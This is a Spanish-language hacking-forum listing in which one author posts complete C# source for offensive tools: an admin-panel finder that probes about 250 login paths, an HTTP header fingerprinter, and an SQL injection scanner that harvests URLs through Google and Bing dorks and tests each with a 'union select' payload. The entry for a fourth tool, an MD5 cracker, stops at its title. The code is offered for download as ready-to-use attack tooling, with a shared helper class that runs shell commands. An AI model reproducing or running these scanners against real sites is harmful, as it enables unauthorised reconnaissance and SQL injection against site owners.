|
111
|
Programación / .NET (C#, VB.NET, ASP) / [C#] PanelFinder 0.3
|
en: 1 Agosto 2014, 15:57 pm
|
Un simple programa en C# para buscar el panel de admin en una pagina web. Una imagen : Los codigos : Form1.cs // PanelFinder 0.3 // (C) Doddy Hackman 2014 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; namespace PanelFinder { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { List <string> paneles = new List <string> {"admin/admin.asp", "admin/login.asp", "admin/index.asp", "admin/admin.aspx", "admin/login.aspx", "admin/index.aspx", "admin/webmaster.asp", "admin/webmaster.aspx", "asp/admin/index.asp", "asp/admin/index.aspx", "asp/admin/admin.asp", "asp/admin/admin.aspx", "asp/admin/webmaster.asp", "asp/admin/webmaster.aspx", "admin/", "login.asp", "login.aspx", "admin.asp", "admin.aspx", "webmaster.aspx", "webmaster.asp", "login/index.asp", "login/index.aspx", "login/login.asp", "login/login.aspx", "login/admin.asp", "login/admin.aspx", "administracion/index.asp", "administracion/index.aspx", "administracion/login.asp", "administracion/login.aspx", "administracion/webmaster.asp", "administracion/webmaster.aspx", "administracion/admin.asp", "administracion/admin.aspx", "php/admin/", "admin/admin.php", "admin/index.php", "admin/login.php", "admin/system.php", "admin/ingresar.php", "admin/administrador.php", "admin/default.php", "administracion/", "administracion/index.php", "administracion/login.php", "administracion/ingresar.php", "administracion/admin.php", "administration/", "administration/index.php", "administration/login.php", "administrator/index.php", "administrator/login.php", "administrator/system.php", "system/", "system/login.php", "admin.php", "login.php", "administrador.php", "administration.php", "administrator.php", "admin1.html", "admin1.php", "admin2.php", "admin2.html", "yonetim.php", "yonetim.html", "yonetici.php", "yonetici.html", "adm/", "admin/account.php", "admin/account.html", "admin/index.html", "admin/login.html", "admin/home.php", "admin/controlpanel.html", "admin/controlpanel.php", "admin.html", "admin/cp.php", "admin/cp.html", "cp.php", "cp.html", "administrator/", "administrator/index.html", "administrator/login.html", "administrator/account.html", "administrator/account.php", "administrator.html", "login.html", "modelsearch/login.php", "moderator.php", "moderator.html", "moderator/login.php", "moderator/login.html", "moderator/admin.php", "moderator/admin.html", "moderator/", "account.php", "account.html", "controlpanel/", "controlpanel.php", "controlpanel.html", "admincontrol.php", "admincontrol.html", "adminpanel.php", "adminpanel.html", "admin1.asp", "admin2.asp", "yonetim.asp", "yonetici.asp", "admin/account.asp", "admin/home.asp", "admin/controlpanel.asp", "admin/cp.asp", "cp.asp", "administrator/index.asp", "administrator/login.asp", "administrator/account.asp", "administrator.asp", "modelsearch/login.asp", "moderator.asp", "moderator/login.asp", "moderator/admin.asp", "account.asp", "controlpanel.asp", "admincontrol.asp", "adminpanel.asp", "fileadmin/", "fileadmin.php", "fileadmin.asp", "fileadmin.html", "administration.html", "sysadmin.php", "sysadmin.html", "phpmyadmin/", "myadmin/", "sysadmin.asp", "sysadmin/", "ur-admin.asp", "ur-admin.php", "ur-admin.html", "ur-admin/", "Server.php", "Server.html", "Server.asp", "Server/", "wp-admin/", "administr8.php", "administr8.html", "administr8/", "administr8.asp", "webadmin/", "webadmin.php", "webadmin.asp", "webadmin.html", "administratie/", "admins/", "admins.php", "admins.asp", "admins.html", "administrivia/", "Database_Administration/", "WebAdmin/", "useradmin/", "sysadmins/", "admin1/", "system-administration/", "administrators/", "pgadmin/", "directadmin/", "staradmin/", "ServerAdministrator/", "SysAdmin/", "administer/", "LiveUser_Admin/", "sys-admin/", "typo3/", "panel/", "cpanel/", "cPanel/", "cpanel_file/", "platz_login/", "rcLogin/", "blogindex/", "formslogin/", "autologin/", "support_login/", "meta_login/", "manuallogin/", "simpleLogin/", "loginflat/", "utility_login/", "showlogin/", "memlogin/", "members/", "login-redirect/", "sub-login/", "wp-login/", "login1/", "dir-login/", "login_db/", "xlogin/", "smblogin/", "customer_login/", "UserLogin/", "login-us/", "acct_login/", "admin_area/", "bigadmin/", "project-admins/", "phppgadmin/", "pureadmin/", "sql-admin/", "radmind/", "openvpnadmin/", "wizmysqladmin/", "vadmind/", "ezsqliteadmin/", "hpwebjetadmin/", "newsadmin/", "adminpro/", "Lotus_Domino_Admin/", "bbadmin/", "vmailadmin/", "Indy_admin/", "ccp14admin/", "irc-macadmin/", "banneradmin/", "sshadmin/", "phpldapadmin/", "macadmin/", "administratoraccounts/", "admin4_account/", "admin4_colon/", "radmind-1/", "Super-Admin/", "AdminTools/", "cmsadmin/", "SysAdmin2/", "globes_admin/", "cadmins/", "phpSQLiteAdmin/", "navSiteAdmin/", "server_admin_small/", "logo_sysadmin/", "server/", "database_administration/", "power_user/", "system_administration/", "ss_vms_admin_sm/" }; DH_Tools tools = new DH_Tools (); String page = textBox1.Text; String code = ""; listBox1.Items.Clear(); toolStripStatusLabel1.Text = "[+] Scanning ..."; this.Refresh(); foreach(string panel in paneles) { toolStripStatusLabel1.Text = "[+] Checking : "+panel; this.Refresh(); code = tools.responsecode(page+"/"+panel); if (code == "200") { listBox1.Items.Add(page + "/" + panel); } } if (listBox1.Items.Count == 0) { MessageBox.Show("Not Found"); } toolStripStatusLabel1.Text = "[+] Finished"; this.Refresh(); } private void listBox1_DoubleClick(object sender, EventArgs e) { DH_Tools tools = new DH_Tools (); tools.console("start " + listBox1.SelectedItem.ToString()); } } } // The End ?
DH_Tools.cs // Class Name : DH Tools // Version : Beta // Author : Doddy Hackman // (C) Doddy Hackman 2014 // // Functions : // // [+] HTTP Methods GET & POST // [+] Get HTTP Status code number // [+] HTTP FingerPrinting // [+] Read File // [+] Write File // [+] GET OS // [+] Remove duplicates from a List // [+] Cut urls from a List // [+] Download // [+] Upload // [+] Get Basename from a path // [+] Execute commands // [+] URI Split // [+] MD5 Hash Generator // [+] Get MD5 of file // [+] Get IP address from host name // // Credits : // // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+ // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file // // Thanks to : $DoC and atheros14 (Forum indetectables) // using System; using System.Collections.Generic; using System.Text; using System.Net; using System.IO; using System.Text.RegularExpressions; using System.Security.Cryptography; namespace PanelFinder { class DH_Tools { public string toma(string url) { string code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; code = nave.DownloadString(url); } catch { // } return code; } public string tomar(string url, string par) { string code = ""; try { HttpWebRequest nave = (HttpWebRequest) WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; nave.Method = "POST"; nave.ContentType = "application/x-www-form-urlencoded"; Stream anteantecode = nave.GetRequestStream(); anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length); anteantecode.Close(); StreamReader antecode = new StreamReader (nave .GetResponse().GetResponseStream()); code = antecode.ReadToEnd(); } catch { // } return code; } public string responsecode(string url) { String code = ""; try { HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; HttpWebResponse num = (HttpWebResponse)nave.GetResponse(); int number = (int)num.StatusCode; code = Convert.ToString(number); } catch { code = "404"; } return code; } public string httpfinger(string url) { String code = ""; try { HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url); HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse(); for (int num = 0; num < nave2.Headers.Count; ++num) { code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine; } nave2.Close(); } catch { // } return code; } public string openword(string file) { String code = ""; try { code = System.IO.File.ReadAllText(file); } catch { // } return code; } public void savefile(string file, string texto) { try { System.IO.StreamWriter save = new System.IO.StreamWriter(file, true); save.Write(texto); save.Close(); } catch { // } } public string getos() { string code = ""; try { System.OperatingSystem os = System.Environment.OSVersion; code = Convert.ToString(os); } catch { code = "?"; } return code; } public List<string> repes(List<string> array) { List <string> repe = new List <string>(); foreach (string lin in array) { if (!repe.Contains(lin)) { repe.Add(lin); } } return repe; } public List<string> cortar(List<string> otroarray) { List <string> cort = new List <string>(); foreach (string row in otroarray) { String lineafinal = ""; Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase); if (regex.Success) { lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "="; cort.Add(lineafinal); } } return cort; } public string download(string url, string savename) { String code = ""; WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; try { nave.DownloadFile(url, savename); code = "OK"; } catch { code = "Error"; } return code; } public string upload(string link, string archivo) { String code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; byte[] codedos = nave.UploadFile(link, "POST", archivo); code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length); } catch { code = "Error"; } return code; } public string basename(string file) { String nombre = ""; FileInfo basename = new FileInfo (file ); nombre = basename.Name; return nombre; } public string console(string cmd) { string code = ""; try { System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd ); loadnow.RedirectStandardOutput = true; loadnow.UseShellExecute = false; loadnow.CreateNoWindow = true; System.Diagnostics.Process loadnownow = new System.Diagnostics.Process(); loadnownow.StartInfo = loadnow; loadnownow.Start(); code = loadnownow.StandardOutput.ReadToEnd(); } catch { code = "Error"; } return code; } public string urisplit(string url, string opcion) { string code = ""; Uri dividir = new Uri (url ); if (opcion == "host") { code = dividir.Host; } if (opcion == "port") { code = Convert.ToString(dividir.Port); } if (opcion == "path") { code = dividir.LocalPath; } if (opcion == "file") { code = dividir.AbsolutePath; FileInfo basename = new FileInfo (code ); code = basename.Name; } if (opcion == "query") { code = dividir.Query; } if (opcion == "") { code = "Error"; } return code; } public string convertir_md5(string text) { MD5 convertirmd5 = MD5.Create(); byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text)); StringBuilder guardar = new StringBuilder (); for (int numnow = 0; numnow < infovalor.Length; numnow++) { guardar.Append(infovalor[numnow].ToString("x2")); } return guardar.ToString(); } public string md5file(string file) { string code = ""; try { var gen = MD5.Create(); var ar = File.OpenRead(file); code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower(); } catch { code = "Error"; } return code; } public string getip(string host) { string code = ""; try { IPAddress[] find = Dns.GetHostAddresses(host); code = find[0].ToString(); } catch { code = "Error"; } return code; } } } // The End ?
Si quieren lo puede bajar de aca.
|
|
|
112
|
Programación / .NET (C#, VB.NET, ASP) / [C#] HTTP FingerPrinting 0.2
|
en: 25 Julio 2014, 19:14 pm
|
Un simple programa en C# para hacer HTTP FingerPrinting. Una imagen : Los codigos : Form1.cs // HTTP FingerPrinting 0.2 // (C) Doddy Hackman 2014 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; namespace HTTP_FingerPrinting { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { DH_Tools tools = new DH_Tools (); toolStripStatusLabel1.Text = "[+] Searching ..."; this.Refresh(); richTextBox1.Clear(); richTextBox1.AppendText(tools.httpfinger(textBox1.Text)); toolStripStatusLabel1.Text = "[+] Finished"; this.Refresh(); } } } // The End ?
DH_Tools.cs // Class Name : DH Tools // Version : Beta // Author : Doddy Hackman // (C) Doddy Hackman 2014 // // Functions : // // [+] HTTP Methods GET & POST // [+] Get HTTP Status code number // [+] HTTP FingerPrinting // [+] Read File // [+] Write File // [+] GET OS // [+] Remove duplicates from a List // [+] Cut urls from a List // [+] Download // [+] Upload // [+] Get Basename from a path // [+] Execute commands // [+] URI Split // [+] MD5 Hash Generator // [+] Get MD5 of file // [+] Get IP address from host name // // Credits : // // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+ // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file // // Thanks to : $DoC and atheros14 (Forum indetectables) // using System; using System.Collections.Generic; using System.Text; using System.Net; using System.IO; using System.Text.RegularExpressions; using System.Security.Cryptography; namespace HTTP_FingerPrinting { class DH_Tools { public string toma(string url) { string code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; code = nave.DownloadString(url); } catch { // } return code; } public string tomar(string url, string par) { string code = ""; try { HttpWebRequest nave = (HttpWebRequest) WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; nave.Method = "POST"; nave.ContentType = "application/x-www-form-urlencoded"; Stream anteantecode = nave.GetRequestStream(); anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length); anteantecode.Close(); StreamReader antecode = new StreamReader (nave .GetResponse().GetResponseStream()); code = antecode.ReadToEnd(); } catch { // } return code; } public string respondecode(string url) { String code = ""; try { HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; HttpWebResponse num = (HttpWebResponse)nave.GetResponse(); int number = (int)num.StatusCode; code = Convert.ToString(number); } catch { code = "404"; } return code; } public string httpfinger(string url) { String code = ""; try { HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url); HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse(); for (int num = 0; num < nave2.Headers.Count; ++num) { code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine; } nave2.Close(); } catch { // } return code; } public string openword(string file) { String code = ""; try { code = System.IO.File.ReadAllText(file); } catch { // } return code; } public void savefile(string file, string texto) { try { System.IO.StreamWriter save = new System.IO.StreamWriter(file, true); save.Write(texto); save.Close(); } catch { // } } public string getos() { string code = ""; try { System.OperatingSystem os = System.Environment.OSVersion; code = Convert.ToString(os); } catch { code = "?"; } return code; } public List<string> repes(List<string> array) { List <string> repe = new List <string>(); foreach (string lin in array) { if (!repe.Contains(lin)) { repe.Add(lin); } } return repe; } public List<string> cortar(List<string> otroarray) { List <string> cort = new List <string>(); foreach (string row in otroarray) { String lineafinal = ""; Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase); if (regex.Success) { lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "="; cort.Add(lineafinal); } } return cort; } public string download(string url, string savename) { String code = ""; WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; try { nave.DownloadFile(url, savename); code = "OK"; } catch { code = "Error"; } return code; } public string upload(string link, string archivo) { String code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; byte[] codedos = nave.UploadFile(link, "POST", archivo); code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length); } catch { code = "Error"; } return code; } public string basename(string file) { String nombre = ""; FileInfo basename = new FileInfo (file ); nombre = basename.Name; return nombre; } public string console(string cmd) { string code = ""; try { System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd ); loadnow.RedirectStandardOutput = true; loadnow.UseShellExecute = false; loadnow.CreateNoWindow = true; System.Diagnostics.Process loadnownow = new System.Diagnostics.Process(); loadnownow.StartInfo = loadnow; loadnownow.Start(); code = loadnownow.StandardOutput.ReadToEnd(); } catch { code = "Error"; } return code; } public string urisplit(string url, string opcion) { string code = ""; Uri dividir = new Uri (url ); if (opcion == "host") { code = dividir.Host; } if (opcion == "port") { code = Convert.ToString(dividir.Port); } if (opcion == "path") { code = dividir.LocalPath; } if (opcion == "file") { code = dividir.AbsolutePath; FileInfo basename = new FileInfo (code ); code = basename.Name; } if (opcion == "query") { code = dividir.Query; } if (opcion == "") { code = "Error"; } return code; } public string convertir_md5(string text) { MD5 convertirmd5 = MD5.Create(); byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text)); StringBuilder guardar = new StringBuilder (); for (int numnow = 0; numnow < infovalor.Length; numnow++) { guardar.Append(infovalor[numnow].ToString("x2")); } return guardar.ToString(); } public string md5file(string file) { string code = ""; try { var gen = MD5.Create(); var ar = File.OpenRead(file); code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower(); } catch { code = "Error"; } return code; } public string getip(string host) { string code = ""; try { IPAddress[] find = Dns.GetHostAddresses(host); code = find[0].ToString(); } catch { code = "Error"; } return code; } } } // The End ?
Si lo quieren bajar lo pueden hacer de aca
|
|
|
113
|
Programación / .NET (C#, VB.NET, ASP) / [C#] SQLI Scanner 0.4
|
en: 18 Julio 2014, 01:36 am
|
Un simple programa en C# para buscar paginas vulnerables a SQLI usando Google o Bing. Una imagen : Los codigos : Form1.cs // SQLI Scanner 0.4 // (C) Doddy Hackman 2014 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.IO; using System.Text.RegularExpressions; namespace SQLI_Scanner { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { listBox1.Items.Clear(); DH_Tools tools = new DH_Tools (); funciones funcion = new funciones (); toolStripStatusLabel1.Text = "[+] Searching ..."; this.Refresh(); List <string> urls = new List <string> { }; if (comboBox1.Text == "Bing") { urls = funcion.bingsearch(textBox1.Text, textBox2.Text); urls = tools.repes(tools.cortar(urls)); } else { urls = funcion.googlesearch(textBox1.Text, textBox2.Text); urls = tools.repes(tools.cortar(urls)); } foreach (string url in urls) { listBox1.Items.Add(url); } if (listBox1.Items.Count == 0) { MessageBox.Show("Not Found"); } toolStripStatusLabel1.Text = "[+] Search finished"; this.Refresh(); } private void button2_Click(object sender, EventArgs e) { toolStripStatusLabel1.Text = "[+] Scanning ..."; this.Refresh(); listBox2.Items.Clear(); DH_Tools tools = new DH_Tools (); String url = ""; String code = ""; List <string> urls_to_scan = new List <string> { }; foreach (object write in listBox1.Items) { urls_to_scan.Add(write.ToString()); } if (listBox1.Items.Count == 0) { MessageBox.Show("Not Found"); } else { foreach (string page in urls_to_scan) { toolStripStatusLabel1.Text = "[+] Checking : "+page; this.Refresh(); code = tools.toma(page + "-1+union+select+666--"); Match regex = Regex.Match(code, "The used SELECT statements have a different number of columns", RegexOptions.IgnoreCase); if (regex.Success) { listBox2.Items.Add(page); tools.savefile("sqli-logs.txt", page); } } if (listBox2.Items.Count == 0) { MessageBox.Show("Not Found"); } } toolStripStatusLabel1.Text = "[+] Scan Finished"; this.Refresh(); } private void button3_Click(object sender, EventArgs e) { DH_Tools tools = new DH_Tools (); if (File.Exists("sqli-logs.txt")) { tools.console("sqli-logs.txt"); } else { MessageBox.Show("Logs not found"); } } private void button4_Click(object sender, EventArgs e) { Application.Exit(); } private void listBox1_DoubleClick(object sender, EventArgs e) { DH_Tools tools = new DH_Tools (); tools.console("start "+listBox1.SelectedItem.ToString()); } private void listBox2_DoubleClick(object sender, EventArgs e) { DH_Tools tools = new DH_Tools (); tools.console("start " + listBox2.SelectedItem.ToString()); } } } // The End ?
funciones.cs // Funciones para SQLI Scanner 0.4 // (C) Doddy Hackman 2014 using System; using System.Collections.Generic; using System.Text; using System.Net; using System.Text.RegularExpressions; using System.Web; namespace SQLI_Scanner { class funciones { public List<String> bingsearch(string dork, string cantidad) { String code = ""; Int16 num = 0; //String dork = "index.php+id"; //String cantidad = "20"; String url_cortar = ""; String url_final = ""; WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; List <string> urls = new List <string> { }; for (num = 10; num <= Convert.ToInt16(cantidad); num += 10) { code = nave.DownloadString("http://www.bing.com/search?q=" + dork + "&first=" + num); Match regex1 = Regex.Match(code, "<h3><a href=\"(.*?)\"", RegexOptions.IgnoreCase); while (regex1.Success) { url_cortar = regex1.Groups[1].Value; Match regex2 = Regex.Match(url_cortar, "(.*?)=(.*?)", RegexOptions.IgnoreCase); if (regex2.Success) { url_final = regex2.Groups[1].Value + "="; urls.Add(url_final); } regex1 = regex1.NextMatch(); } } return urls; } public List<String> googlesearch(string dork, string paginas) { String code = ""; Int16 num = 0; String lineafinale = ""; String leer = ""; WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; List <string> urlsgoogle = new List <string> { }; for (num = 10; num <= Convert.ToInt16(paginas); num += 10) { code = nave.DownloadString("http://www.google.com/search?hl=&q=" + dork + "&start=" + num); Match regex = Regex.Match(code, "(?<=\"r\"><. href=\")(.+?)\"", RegexOptions.IgnoreCase); while (regex.Success) { leer = Uri.UnescapeDataString(regex.Groups[1].Value); Match cortada = Regex.Match(leer, @"\/url\?q\=(.*?)\&\;", RegexOptions.IgnoreCase); if (cortada.Success) { lineafinale = cortada.Groups[1].Value; } else { lineafinale = leer; } urlsgoogle.Add(lineafinale); regex = regex.NextMatch(); } } return urlsgoogle; } } } // The End ?
DH_Tools.cs // Class Name : DH Tools // Version : Beta // Author : Doddy Hackman // (C) Doddy Hackman 2014 // // Functions : // // [+] HTTP Methods GET & POST // [+] Get HTTP Status code number // [+] HTTP FingerPrinting // [+] Read File // [+] Write File // [+] GET OS // [+] Remove duplicates from a List // [+] Cut urls from a List // [+] Download // [+] Upload // [+] Get Basename from a path // [+] Execute commands // [+] URI Split // [+] MD5 Hash Generator // [+] Get MD5 of file // [+] Get IP address from host name // // Credits : // // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+ // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file // // Thanks to : $DoC and atheros14 (Forum indetectables) // using System; using System.Collections.Generic; using System.Text; using System.Net; using System.IO; using System.Text.RegularExpressions; using System.Security.Cryptography; namespace SQLI_Scanner { class DH_Tools { public string toma(string url) { string code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; code = nave.DownloadString(url); } catch { // } return code; } public string tomar(string url, string par) { string code = ""; try { HttpWebRequest nave = (HttpWebRequest) WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; nave.Method = "POST"; nave.ContentType = "application/x-www-form-urlencoded"; Stream anteantecode = nave.GetRequestStream(); anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length); anteantecode.Close(); StreamReader antecode = new StreamReader (nave .GetResponse().GetResponseStream()); code = antecode.ReadToEnd(); } catch { // } return code; } public string respondecode(string url) { String code = ""; try { HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; HttpWebResponse num = (HttpWebResponse)nave.GetResponse(); int number = (int)num.StatusCode; code = Convert.ToString(number); } catch { code = "404"; } return code; } public string httpfinger(string url) { String code = ""; try { HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url); HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse(); for (int num = 0; num < nave2.Headers.Count; ++num) { code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine; } nave2.Close(); } catch { // } return code; } public string openword(string file) { String code = ""; try { code = System.IO.File.ReadAllText(file); } catch { // } return code; } public void savefile(string file, string texto) { try { System.IO.StreamWriter save = new System.IO.StreamWriter(file, true); save.Write(texto); save.Close(); } catch { // } } public string getos() { string code = ""; try { System.OperatingSystem os = System.Environment.OSVersion; code = Convert.ToString(os); } catch { code = "?"; } return code; } public List<string> repes(List<string> array) { List <string> repe = new List <string>(); foreach (string lin in array) { if (!repe.Contains(lin)) { repe.Add(lin); } } return repe; } public List<string> cortar(List<string> otroarray) { List <string> cort = new List <string>(); foreach (string row in otroarray) { String lineafinal = ""; Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase); if (regex.Success) { lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "="; cort.Add(lineafinal); } } return cort; } public string download(string url, string savename) { String code = ""; WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; try { nave.DownloadFile(url, savename); code = "OK"; } catch { code = "Error"; } return code; } public string upload(string link, string archivo) { String code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; byte[] codedos = nave.UploadFile(link, "POST", archivo); code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length); } catch { code = "Error"; } return code; } public string basename(string file) { String nombre = ""; FileInfo basename = new FileInfo (file ); nombre = basename.Name; return nombre; } public string console(string cmd) { string code = ""; try { System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd ); loadnow.RedirectStandardOutput = true; loadnow.UseShellExecute = false; loadnow.CreateNoWindow = true; System.Diagnostics.Process loadnownow = new System.Diagnostics.Process(); loadnownow.StartInfo = loadnow; loadnownow.Start(); code = loadnownow.StandardOutput.ReadToEnd(); } catch { code = "Error"; } return code; } public string urisplit(string url, string opcion) { string code = ""; Uri dividir = new Uri (url ); if (opcion == "host") { code = dividir.Host; } if (opcion == "port") { code = Convert.ToString(dividir.Port); } if (opcion == "path") { code = dividir.LocalPath; } if (opcion == "file") { code = dividir.AbsolutePath; FileInfo basename = new FileInfo (code ); code = basename.Name; } if (opcion == "query") { code = dividir.Query; } if (opcion == "") { code = "Error"; } return code; } public string convertir_md5(string text) { MD5 convertirmd5 = MD5.Create(); byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text)); StringBuilder guardar = new StringBuilder (); for (int numnow = 0; numnow < infovalor.Length; numnow++) { guardar.Append(infovalor[numnow].ToString("x2")); } return guardar.ToString(); } public string md5file(string file) { string code = ""; try { var gen = MD5.Create(); var ar = File.OpenRead(file); code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower(); } catch { code = "Error"; } return code; } public string getip(string host) { string code = ""; try { IPAddress[] find = Dns.GetHostAddresses(host); code = find[0].ToString(); } catch { code = "Error"; } return code; } } } // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
114
|
Programación / .NET (C#, VB.NET, ASP) / [C#] MD5 Cracker 0.3
|
en: 11 Julio 2014, 18:38 pm
|
